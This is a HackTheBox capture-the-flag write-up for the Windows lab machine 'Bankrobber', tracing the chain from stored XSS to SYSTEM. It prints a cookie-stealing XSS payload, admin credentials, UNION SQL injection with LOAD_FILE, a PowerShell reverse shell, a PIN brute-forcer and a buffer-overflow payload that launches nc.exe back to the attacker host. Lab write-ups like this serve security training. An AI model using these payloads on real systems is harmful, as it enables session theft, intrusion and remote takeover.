HTB: Bankrobber Writeup

Bankrobber - HackTheBox Writeup

Machine Information

AttributeDetails
NameBankrobber
OSLinux (Windows target)
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.228.109
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Bankrobber is an Insane-difficulty Windows box wearing a Linux nmap fingerprint on the outside — a cryptocurrency “e-coin” web application backed by MySQL/XAMPP on IIS-style ports (80/443/445/3306), with a locked-down internal-only service on TCP 910. The web app lets any registered user submit a transfer that gets reviewed by an admin bot, and the comment field on that transfer form is not sanitized — a stored XSS. That XSS is used twice: first to exfiltrate the admin’s base64 session cookies, and second (after the admin panel is found to gate a command-execution “backdoor checker” behind a REMOTE_ADDR == ::1 check) to smuggle a cmd=dir | powershell ... payload through the admin’s own localhost browser session, bypassing the loopback restriction entirely. A UNION-based SQL injection in the admin’s user-search endpoint (running as MySQL root) is used along the way to LOAD_FILE() the PHP source of that backdoor checker, revealing the exact filter logic to bypass. Once a foothold is landed as bankrobber\cortin, a firewalled internal port (910) is tunneled out with chisel, its 4-digit PIN gate is brute-forced, and a custom transfer.exe binary is found to have a classic stack buffer overflow at a fixed offset that stores its own binary path — overwriting that path with a call to nc.exe yields a straight-to-SYSTEM shell.

TL;DR: Stored XSS on transfer comment → steal admin cookies (base64, no HttpOnly) → login to admin panel → UNION SQLi as MySQL root → LOAD_FILE() reads backdoorchecker.php source, revealing a ::1-only command exec gate → replay XSS to POST cmd=dir | powershell ... from the admin’s own localhost browser, bypassing the loopback check → PowerShell reverse shell as cortin → chisel-tunnel internal port 910 → brute-force 4-digit PIN (0021) → buffer overflow at offset 32 in transfer.exe’s path buffer → overwrite with nc.exe reverse shell command → SYSTEM.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep from the jump host
nmap -Pn -p- --min-rate 2000 -T4 10.129.228.109 -oN /tmp/br_all.txt

Results: 80/tcp, 443/tcp, 445/tcp and 3306/tcp open externally. A fifth port — internal-only TCP 910 — was only discovered later, once a shell was already on the box, since the host firewall blocks direct external access to it.

Service Enumeration

The web root on port 80 is a cryptocurrency (“e-coin”) site. Pulling the page and grepping for form elements confirmed a registration flow, a login flow, and (post-login) a transfer form:

Terminal window
# Register and log in a throwaway account
curl -s -X POST -d 'username=d3v1&password=Passw0rd1' http://10.129.228.109/register.php
curl -si -X POST -d 'username=d3v1&password=Passw0rd1' http://10.129.228.109/login.php

The resulting session was stored as three plaintext cookies — id, username, password — with the username and password values base64-encoded:

Terminal window
curl -s -b 'id=3;username=ZDN2MQ%3D%3D;password=UGFzc3cwcmQx' \
http://10.129.228.109/user/ | grep -iE 'form|input|action|select|textarea'

Decoding confirmed the cookie scheme:

import base64
s = base64.b64decode('ZDN2MQ==').decode()
print(s) # -> d3v1

No HttpOnly flag was set on either cookie, which is the crux of the vulnerability below — anything reflected in the DOM can read and exfiltrate the session directly via document.cookie.

Vulnerability Assessment

  • Stored XSS in the comment field of /user/transfer.php — reviewed by an admin bot, and unsanitized on output.
  • No HttpOnly on the username/password session cookies — makes the XSS directly cookie-stealing.
  • UNION-based SQL injection in the admin /admin/search.php endpoint, running as MySQL root, giving LOAD_FILE() read access to the web root.
  • Localhost-gated command execution in admin/backdoorchecker.php, restricted to REMOTE_ADDR == ::1 — bypassable because the XSS executes inside the admin’s own browser, which requests the endpoint from localhost.
  • Internal-only PIN-gated service on TCP 910, reachable only from the box itself, hiding a custom transfer.exe binary with a stack buffer overflow.

Initial Foothold

Exploitation Path

1. Confirm the transfer form and stage a listener.

The transfer endpoint accepts fromId, toId, amount, and comment. Standing up a Python HTTP server on the jump host to catch outbound requests:

Terminal window
mkdir -p /tmp/br/www && cd /tmp/br/www
nohup python3 -m http.server 80 --bind 10.10.15.68 > /tmp/br/http.log 2>&1 &

2. Stored XSS → confirm admin review.

Submitting a transfer with an <img>-based XSS payload in comment (URL-encoded, toId pointed at the admin’s user id) triggers an inbound GET on the jump host’s listener once the admin bot reviews the pending transaction — proving both the injection and the existence of an automated admin reviewer.

3. Steal the admin’s session cookies.

Terminal window
curl -s -b 'id=3;username=ZDN2MQ%3D%3D;password=UGFzc3cwcmQx' \
-X POST http://10.129.228.109/user/transfer.php \
--data-urlencode "fromId=3" --data-urlencode "toId=1" \
--data-urlencode "amount=1" \
--data-urlencode "comment=<img src=x onerror=this.src='http://10.10.15.68/?c='+btoa(document.cookie)>"

The onerror handler fires when the malformed src fails to load, giving JavaScript access to document.cookie — base64-encoded via btoa() and exfiltrated as a query string to the jump host’s listener. Decoding the captured value recovered the admin’s session:

s = base64.b64decode('dXNlcm5hbWU9WVdSdGFXNCUzRDsgcGFzc3dvcmQ9U0c5d1pXeGxjM055YjIxaGJuUnBZdyUzRCUzRDsgaWQ9MQ==').decode()
# -> username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D; id=1
# base64 decode again: admin / Hopelessromantic

Admin credentials: admin / Hopelessromantic.

4. Log into the admin panel and confirm SQLi.

Terminal window
C="id=1;username=YWRtaW4%3D;password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D"
curl -s -b "$C" http://10.129.228.109/admin/ | grep -iE 'form|input|action'

admin/search.php takes a user id and reflects the query as MySQL, confirmed vulnerable by probing with x' UNION SELECT 1,user(),3 FROM ...-- --style payloads via curl. The union query resolved the current DB user as MySQL root — enough to read arbitrary files on the box with LOAD_FILE().

5. Read backdoorchecker.php source via SQLi.

Terminal window
C="id=1;username=YWRtaW4%3D;password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D"
curl -s -b "$C" "http://10.129.228.109/admin/search.php" \
--data-urlencode "id=x' UNION SELECT 1,LOAD_FILE('C:/XAMPP/htdocs/admin/backdoorchecker.php'),3-- -"

This dumped the PHP source of the admin panel’s hidden “backdoor checker” feature. The key gate found in the source: it only executes $_POST['cmd'] via system() when $_SERVER['REMOTE_ADDR'] == "::1" — i.e., it must be requested from the machine’s own loopback interface. Since our curl session hits the box externally, direct exploitation is blocked — but the earlier XSS gives us a way to make the admin’s own browser issue that request from localhost.

6. Chain the XSS into remote command execution.

An HTTP-hosted PowerShell reverse shell was staged on the jump host (SMB port 445 was already occupied there, so delivery went over HTTP instead of the usual \\ip\share\nc.exe pattern):

Terminal window
# /tmp/br/www/r.ps1 served over the jump host's HTTP server
$c = New-Object System.Net.Sockets.TCPClient("10.10.15.68",4443)
$s = $c.GetStream()
# ... standard TCP reverse-shell stream wiring to spawn cmd/powershell

A <script src=...> tag was submitted through the same admin-reviewed comment field, this time pointing at a JS payload that POSTs to backdoorchecker.php from inside the admin’s browser — which satisfies the REMOTE_ADDR == ::1 check because the request genuinely originates from the admin’s own machine:

Terminal window
curl -s -b 'id=3;username=ZDN2MQ%3D%3D;password=UGFzc3cwcmQx' \
-X POST http://10.129.228.109/user/transfer.php \
--data-urlencode "toId=1" \
--data-urlencode "comment=<script src=http://10.10.15.68/s.js></script>"

s.js fires an XMLHttpRequest at http://localhost/admin/backdoorchecker.php with cmd=dir | powershell -c <download-and-run-r.ps1> and xhr.withCredentials = true so the admin’s session cookies ride along automatically. Because the pipe character isn’t in the script’s blacklist ($( and & are), it’s used to chain a second command onto the mandated dir prefix.

7. Catch the shell.

Terminal window
nohup nc -lvnp 4443 > /tmp/br/shell.log 2>&1 &

The admin’s bot reviewed the poisoned comment, its browser fired the localhost POST, and the PowerShell reverse shell connected back — landing as bankrobber\cortin.

whoami
# -> bankrobber\cortin

user.txt was retrieved from C:\Users\cortin\Desktop\user.txt: <redacted>


Privilege Escalation

Discovering the internal service

With a shell on the box, a netstat/ss-equivalent listener check turned up TCP 910 bound to localhost only — not present in the external nmap results, and blocked by the host firewall from the jump host directly.

Tunneling port 910 out with chisel

Terminal window
# Stage tools onto the jump host, matching the box's target OS
cp /usr/share/windows-binaries/nc.exe /usr/share/windows-binaries/chisel.exe /tmp/br/share/

chisel.exe and nc.exe were delivered to the cortin shell and a reverse chisel tunnel was established from the jump host, forwarding local port 910 through the compromised host’s loopback-only service out to the jump host where it could be interacted with directly.

Brute-forcing the 4-digit PIN

The service on 910 gates access behind a 4-digit numeric PIN, disconnecting immediately on a bad guess — a 10,000-combination keyspace trivially brute-forceable:

from pwn import *
for i in range(10000):
code = f"{i:04d}"
r = remote("localhost", 910, level='error')
r.recvuntil(b"[$] ")
r.sendline(code.encode())
response = r.recvline()
r.close()
if b"Access denied" not in response:
log.success(f"Valid code found: {code}")
break

PIN recovered: 0021.

Buffer overflow in transfer.exe

Authenticating with the PIN grants access to an “amount” prompt, which internally shells out to C:\Users\admin\Documents\transfer.exe. Sending an oversized amount string overflowed a fixed-size buffer that — critically — also stores the path to the binary the service invokes. Pattern-based offset analysis located the overwrite point at 32 bytes: everything after offset 32 lands directly in the binary-path field that gets executed.

# Overflow the path buffer at offset 32 with a command instead of a path
payload = b"A" * 32 + b"C:\\Users\\Public\\nc.exe 10.10.15.68 4444 -e cmd.exe"

nc.exe was first copied to C:\Users\Public\ (world-writable/executable) on the target via the existing cortin shell, then the crafted overflow was sent through the chisel-tunneled connection to port 910. The service executed the overwritten “path” — our netcat command — as its own privileged context.

Terminal window
# Listener for the privileged callback
nc -lvnp 4444

The reverse shell connected as nt authority\system.

whoami
# -> nt authority\system

root.txt was retrieved from C:\Users\admin\Desktop\root.txt: <redacted>


Attack Chain Summary

Register/login on e-coin site (base64, non-HttpOnly cookies)
↓
Stored XSS in transfer "comment" field, reviewed by admin bot
↓
Steal admin session cookies (username=admin / password=Hopelessromantic)
↓
Login to /admin/ → UNION-based SQLi in search.php (MySQL root)
↓
LOAD_FILE() reads admin/backdoorchecker.php source → reveals ::1-only cmd exec gate
↓
Replay XSS with <script src=...> → admin's browser POSTs cmd=dir | powershell ... to
backdoorchecker.php from localhost, bypassing the REMOTE_ADDR check
↓
HTTP-delivered PowerShell reverse shell → bankrobber\cortin (user.txt)
↓
Discover internal-only TCP 910 → chisel reverse tunnel through firewall
↓
Brute-force 4-digit PIN (0021) on tunneled service
↓
Buffer overflow in transfer.exe at offset 32 (binary-path buffer) → nc.exe reverse shell
↓
nt authority\system (root.txt)

Tools Used

ToolPurpose
nmapPort scanning
curlManual HTTP interaction with registration/login/transfer/admin endpoints
python3 -m http.serverHosting the XSS-exfil listener and staged PowerShell script
nc / nc.exeNetcat listeners (jump host) and Windows reverse shell payload (target)
Custom JS payload (<img onerror>, <script src>)Cookie theft and localhost-bypass command injection
UNION-based SQL injection (manual, via curl)Dumping DB contents and reading backdoorchecker.php via LOAD_FILE()
chiselReverse tunnel to reach firewall-blocked internal port 910
pwntoolsBrute-forcing the 4-digit PIN on the internal service
Custom Python fixed-length patternLocating the buffer-overflow offset (32 bytes) in transfer.exe

Key Learnings

Techniques Practiced

  • Stored XSS discovery and exploitation for session-cookie theft against non-HttpOnly cookies
  • Chaining XSS to bypass a server-side REMOTE_ADDR == ::1 (localhost-only) authorization check by making the victim’s own browser issue the privileged request
  • Manual UNION-based SQL injection and abuse of LOAD_FILE() for source-code disclosure
  • Reading application source via SQLi to reverse-engineer a command filter/blacklist and find the bypass (| vs. blacklisted $(/&)
  • Pivoting/tunneling a firewall-blocked internal service out to attacker infrastructure with chisel
  • Brute-forcing a small numeric keyspace (4-digit PIN) with pwntools
  • Locating and exploiting a stack buffer overflow that overwrites an executable-path field, turning a crash primitive into arbitrary command execution

Lessons Learned

  1. HttpOnly isn’t optional on session cookies. Even simple base64-armored cookies are trivially exfiltrated once any XSS exists in the application, turning a single reflected/stored injection into full session takeover.
  2. REMOTE_ADDR checks are not a security boundary against XSS. Any check that trusts “the request came from localhost” can be defeated the moment an attacker can get code running inside a session that lives on that localhost — the browser, not the network, is the actual origin of the request.
  3. SQL injection is a file-read primitive, not just a data-exfil one. LOAD_FILE() under a root-privileged MySQL account handed over full source code of a supposedly hidden admin feature, which directly informed the RCE bypass.
  4. Never trust that a firewalled internal service is safe by obscurity. Once code execution exists on the host, internal-only ports are just another interface to tunnel through — chisel made TCP 910 as reachable as if it were exposed externally.
  5. Custom binaries invoked by user-controlled buffers are a classic BOF trap. Storing an executable path in the same buffer that’s overflow-vulnerable turns “just a crash” into full command substitution — SYSTEM in this case, since the service ran with elevated privileges.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, “Bankrobber” HackTheBox Official Writeup (HTB Document No D20.100.59, Machine Authors: Gioo & Cneeliz) — used for explanatory context on the backdoorchecker.php source-code logic, the msf-pattern_create/msf-pattern_offset methodology for locating the buffer-overflow offset, and the XAMPP default web-root path (C:\XAMPP\htdocs) referenced during file-read exploitation.